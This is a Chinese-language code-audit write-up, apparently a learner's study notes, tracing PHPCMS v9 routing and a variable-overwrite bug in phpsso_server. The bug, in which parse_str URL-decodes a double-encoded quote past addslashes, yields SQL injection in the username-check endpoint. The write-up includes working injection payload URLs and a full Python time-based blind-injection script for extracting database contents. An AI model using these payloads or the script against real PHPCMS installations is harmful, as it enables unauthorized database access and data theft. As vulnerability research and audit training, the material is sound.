PHP:5.4.5
设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786
PHPCMS变量覆盖到SQL注入
0x01:路由分析
phpcms是一个一分为二的cms,有一套类似应用的东西,包括phpcms,还有一套后台的管控中心,叫phpsso_server
,有登录鉴权的作用,也有后端存储服务器的作用;大多数情况下部署在同一台服务器下;
01 入口
我希望我的入口都在index.php中,
代码逻辑可能在modules中,moudules中包括 controller控制器;例如在,moudules/admin/index.php
中就有一堆控制器:
02 PHPMVC 的入口限制方式
如果在业务逻辑中,不小心有一个地方没写好,并且在这个地方没有用入口来做控制器的方法,那么就要在每一个业务逻辑中写一个鉴权,或者是引入其他代码的方式;那么写项目就会很难受;
例如:部署好的phpcms
,理应是127.0.0.1:81/index.php
为网站的主入口:
但是,PHP是以文件作为路由映射的,例如,截图中的文件,可以通过url/path
访问到的;
http://127.0.0.1/phpcms/modules/admin/index.php
所以,一般再主入口中写一个变量,define一个变量(IN_PHPCMS
);用这个主入口来引入这些控制器,并在控制器中检测变量在不在,如果不在,就退出去,认为是一个非常规的方式;
判断;
拿下一套代码,首先就可以看index.php
文件;然后抽样看其他代码文件,看看他们的入口是怎么样的;例如:因为include了phpcms/base.php就都可以作为入口
用这种方式,先梳理出入口,主要入口都是从index.php
过来,这样比较好做管理 ,以防有漏做权限控制的风险;
03 代码,路由分析
于是就开始看index.php
代码,这里就该开始硬读了;
进入base.php
;
基本就是各种定义,定义了某些组件和load了其它的方法;不过这和路由相关性不大;虽然下面有些功能函数,但是没有调用;返回index.php
;
路由是什么?
一般在页面上点几下,出来的那个url就是路由
例如:http://127.0.0.1:81/index.php?m=link&c=index&a=register&siteid=1
分析路由:怎么把url找到具体的代码逻辑在哪里;从url做一个到具体代码的映射;
人话:从url找到具体是哪个控制器执行了什么动作或者从url找到对应的文件
以上述连接作为例子,继续跟进:
进入第二个,原因:第一个是phpsso_server
属于是后台管理那边的;所以我们看下面的属于本系统下的;
create_app()
只有一个load
,传入:classname=application
;继续跟进:
load_sys_class
也只有一个load,传入了classname path initilize
;继续跟进:
这一段,进行了引入模块和实例化对象;
从计算器中看到,它引入了install_package\phpcms\libs\classes\application.class.php
(简写了);然后实例化了application
对象;
然后F7到对应控制器下:
进入到了application的构造函数中,这里又load了param
,继续跟进:
然后弯弯绕绕,又走到load_sys_class
中,也就是前两张图片的那个
F7进入param
的构造函数:
阅读代码:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
这里就是给传入的参数转义,加上单引号注意使用的是$_POST
进行接受:下面是实现
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
load_config是加载配置文件,同时设置默认参数,下面是实现(后面这两张图是专门重新调试得到的)
并且include $path
(route.php)进行了默认赋值:
看回param.class.php
中的三个判断,都是false;虽然调试后面有算式,但是确实是false
例如:这里可以清晰的看到false
然后F8继续跟进:回到了application.class.php
中,也就是说,在param
的处理中,是进行了默认参数的赋值处理;
这三个函数不必多说都是赋值的,这里F7跟进一下第二个:
这里第一行,检测get
和post
有没有传递c
和c
是否为空;
F7步入safe_deal()
:
看到,这里是进行替换,将/和.
去掉;
最后返回$c
,虽然都是index
,但是意义是不一样的;
F8后F7,看到init()
,这里对application
进行初始化和控制器的定义:
F7步入load_controller()
:
F7继续步入:看到这里有构造方法,应该是foreground
的构造方法;
F7继续步入:看到这里有对IP的检查:不过跟进之后发现,目前没有设置ip限制;
这里要多F7走几步
看到了ipanned_cache
是空的;
加载完,回到return new $classname
那个地方;可以查看一下my_path
是什么
my_path()
中查看是否有拓展文件
load_controller
基本就是进行拼接,拼接对应的路径,最后返回控制器(index);然后F7步入控制器的构造方法中查看其构造方法:
这里就只是load_app_func
加载了应用函数库和seteid
;假如在这个构造函数中还有父类的构造函数,那么父类的构造函数也是需要查看的
走完load_controller
之后,回到init()
;于是进入到了call_user_function
也就是call_user_func(array($controller,ROUTE_A));
对controller
的ROUTE_A
方法进行了调用;
再F7一步,就到了register()
,这个时候,怎么把模块引入的全过程就算是了解了;其它地方的模块引入也是大致流程;区别在于有的模块会有父类构造函数,例如调试时遇到的param
;
不管什么代码,这个都需要跟;不同的代码,路由模式不一样,但大差不差;
最后得到结果:
m=link :文件夹
c=index:控制器
a=register:方法
踩坑
- 抓不住重点代码看哪里;
- 调试着调试着就忘了我的目的是啥;
0x02:业务分析
01 phpsso入口
还是得先分析路由,一上来就分析路由
路由清楚了,就看看具体的业务逻辑,因为已经知道了应该怎么进行引用;phpcms
是一个一分为二的cms
,有一套类似应用的东西,包括PHPcms
,还有一套后台的管控中心,叫phpsso_server
,在大多数情况下,他们是部署到一台主机上的。每当有一些跟用户权限,用户信息相关的业务发生时,phpcms
会与phpsso_server
进行通信,于是看看这里是怎么进行的;
先看服务端phpsso_server
做了什么事的代码;
可以看到,在phpsso_server的index.php
中的代码和phpcms
中是一样的路由逻辑;所以就不需要多看路由了;
phpsso
更多的是注重于数据库的交互;phpcms
只有两个module
,一个admin一个phpsso;
这两个模块的index.php
都有继承父类,看phpsso/index.php
;
进入其父类的构造函数,在构造函数中会看到一个sys_auth
的一个密码学验证
对于俺来说,知道加解密算法的要素:
知道:算法是什么,密钥是什么,加密后的数据是什么就行;
02 parsr_str
随后我们看到一个函数parse_str
,parse_str()会产生变量覆盖的漏洞的函数;
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
在这里的操作,将$_POST['data']
解密,然后变量覆盖,覆盖到$this->data
,这里先记住,虽然不知道怎么利用;
03 无法解密
然后看解密,解密中看看代码是不是硬编码的,可以在install.php
中进行查看;可以看到这里是一个随机数,不是硬编码的;
也就是说,我们无法自己想这个phpsso发送请求,因为没有authkey
;
那么,既然他存有这个东西,这个api,必然是phpcms能够自己向它发送请求,那么如果我们能够在某个位置控制请求(我们与phpcms通信,phpcms在后端完成加密的动作,并且能把我们的参数传递到phpsso上)是否就可以跟phpsso进行通信呢?
所以只能够借助phpcms与phpsso通信;也就是说,必须在phpcms中请求才能够将信息正确的传入phpsso;
要跟phpsso通信,必须经由phpcms;
所以接下来就看看是怎么通信的;
0x03:与phpsso通信
01 client类
目前是代审的基础,就没有太注重逻辑,就直接给了漏洞利用点在哪;
主要是要找一个client
类;client
负责与phpsso
通信;
在client
类中有_ps_sent
来传递消息,这个时候,就可以找哪里调用了ps_post
了,然后但是只有_ps_send
进行了调用;所以找到谁调用了ps_send
就说明谁在和后端通信;
/**
* 发送数据
* @param $action 操作
* @param $data 数据
*/
private function _ps_send($action, $data = null) {
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
}
/**
* post数据
* @param string $url post的url
* @param int $limit 返回的数据的长度
* @param string $post post数据,字符串形式username='dalarge'&password='123456'
* @param string $cookie 模拟 cookie,字符串形式username='dalarge'&password='123456'
* @param string $ip ip地址
* @param int $timeout 连接超时时间
* @param bool $block 是否为阻塞模式
* @return string 返回字符串
*/
private function _ps_post($url, $limit = 0, $post = '', $cookie = '', $ip = '', $timeout = 15, $block = true) {
$return = '';
$matches = parse_url($url);
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
$siteurl = $this->_get_url();
if($post) {
$out = "POST $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n" ;
$out .= 'Content-Length: '.strlen($post)."\r\n" ;
$out .= "Connection: Close\r\n" ;
$out .= "Cache-Control: no-cache\r\n" ;
$out .= "Cookie: $cookie\r\n\r\n" ;
$out .= $post ;
} else {
$out = "GET $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
// var_dump($fp);
if(!$fp) {
return '';
}
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
// var_dump(fgets($fp));
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if($status['timed_out']) return '';
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) break;
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
@fclose($fp);
//部分虚拟主机返回数值有误,暂不确定原因,过滤返回数据格式
$return_arr = explode("\n", $return);
if(isset($return_arr[1])) {
$return = trim($return_arr[1]);
}
unset($return_arr);
return $return;
}
于是,找哪里调用了ps_post
基本就可以认为哪里在与后端通信,然后发现只有ps_send
调用了ps_post
,也就是说,哪里调用ps_send
哪里就在与后端通信;
发现基本都在同一个类中,然后接着往上找;
一般是找一些未授权的,大家都能用的功能触发;
我这里找checkname
;然后checkname
接着向上找:
于是哪里触发这个public_checkname_ajax
就行;
02 正常触发
在注册的时候,name验证,会触发一个请求,这个请求就是所需要的请求:
http://127.0.0.1:81/index.php?clientid=username&username=debug002&m=member&c=index&a=public_checkname_ajax&_=1676903611485
最后跟进进入ps_post
,在
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
建立一个连接,然后在下图蓝条位置发送请求;
注意看调试信息中的post信息中的后一条信息,那就是加密的信息,同时$url也是请求的后台的地址;
插一句:
其实这个地址我们是能够直接访问得到的,但是由于没法通过post传递正确的加密信息,所以会返回失败的代码0;(这个666是我自己写的,不用管,看0就行;下面的图中就有echo'666';)所以需要从phpcms中请求phpsso_server;
在之前的调试$status = stream_get_meta_data($fp);
这一步F7,于是phpsso_server/phpcms/modules/phpsso/index.php
能够接受到请求:
然后进入父类的构造方法中;一路看到33行;这里会进行解析;
这一步过后,就能够在this->data中查看到传入的信息,已经将debug002传递过来了;
此时此刻,就说明我们已经将信息传递过来;接着跟进;
走完两个构造函数和一个初始化函数;进入checkname
函数;看看它的内容;
后面有一步$this->db->get_one()
;
显然是一个对数据库进行操作的函数,进入这个函数:
然后能看到,这里判断之后会进入一个sqls函数,进入sqls函数:
看看具体是做了什么;
其实发现这里就是一个字符串拼接,并没有预编译;这里会返回一个拼接好的字符串;
接着跟,进入get_one
然后发现整个过程是进行的拼接;
于是传入一个debug002'
看看是啥:
哈哈哈,笑死,用户名不合法;不让传,用burp;6,burp也传不进去;
用浏览器传,我们在调试的时候会发现,这里是用请求接口的方式对后端进行的请求,所以调试过程中的那个url请求可以拿到浏览器来用;哦,然后找到原因了,是用的版本不对,所用版本中加了一个is_username的检测;害,干脆找正确的来,来来回回改了很多了:
总之,现在传过来了:
发现这里居然有\\\'
,然后找找哪里加了反斜线:
这里加了反斜线:(param那个类好像)
然后这里还有一个:
添加后:
现在不急着攻击,先看看这个信息是怎么流转的;
0x04:输入流转
01 信息流转
/index.php?clientid=username&username=debug002'&_=1677052781721&m=member&c=index&a=public_checkname_ajax
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$data['username']="debug002\'"
if(CHARSET != 'utf-8') {
$username = iconv('utf-8', CHARSET, $username);
$username = addslashes($username);
}
$username = "debug002\\\'"
parse_str($data,$this->data) ==> $this->data['username'] = "debug002\\\'"
SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE `username` = 'debug002\\\'' LIMIT 1 ==>⽆法注⼊
02 parse_str利用
parae_str()利用:https://www.php.cn/php-weizijiaocheng-405803.html
parse_str()不仅能够将字符串拆分为变量,还会自动进行urldecode;
我们是希望传递过去的是一个debug002'
;
所以考虑后面会接受到一个'
,也就是%27
;
由于addslashes
是针对单引号,之类,对%不起作用;
所以在传递debug002'
的时候,传递成debug002%27
;由于传递的时候会自动进行一次url解码;所以传入:debug002%2527
;
调试结果:
成功解析出单引号:
执行语句:
SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE `username` = '1' and updatexml(1,concat(0x7e,version()),1)#' LIMIT 1;
在Navicat中执行命令能够执行:
但是这里是没有回显的,也没法通过回显来进行判断,所以用sqlmap来跑;
03 为什么这里没回显呢?
之前提到过,它是请求api的,然后根据返回的数值,cms再返回页面;
所以就得进入后边api调试一下,其实也简单;
在这里:为了写脚本方便,换了一个payload:
http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr((select database()),1,1))>79,sleep(2),1)%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax
调用了一个call_user_func
,然后进入checkname
,由于没带值,所以这里is_return=0
;
然后跟入执行SQL的地方:
看到了$res
是有值的;
然后回来这里:判断$r
是不是空的;显然查了一堆东西,不是空的;
注意这里是检查是不是空,而不是检查返回的是什么;所以只要有返回,值就是固定的;
之前的用的报错,返回应该是空的,所以输出了1
,再加上后边还有个判断,于是乎页面输出了1
;
输出一个-1
;这里我也有点没看懂,大概是将-1
给了$status
;
最后退出,给了个0;
04 sqlmap利用
哎哟,我找的这个username的跑sqlmap跑不出来;
试试盲注:改个脚本:
import requests
url1 = "http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+"
url2 = "%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = "select database()"
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
# payload = "select flaga from ctfshow_flagx"
data = f"select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)"
url = url1 + data +url2
# print(url)
# exit()
try:
r = requests.post(url, timeout=2)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
# """
# http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+if(ascii(substr((select database()),1,1))>79,sleep(5),1)%23+&_=1677052781721&=member&c=index&a=public_checkname_ajax
# """
# select if(ascii(substr((select database()),1,1))>79,sleep(5),1)
# select if(ascii(substr((select database()),1,1))>79,sleep(2),1);
然后勉强算是成功了;
踩坑
- 就是说咋安装好之后,就别动了;要是后面有什么
fsokopen
无法请求,phpserver接收不到请求信息,咋直接重启PHPstorm
,编译器抽个风改了不知道重装了几次。。。。结果重启就行; - 代码改了很多,和讲师的代码不一样,很多地方都需要修改;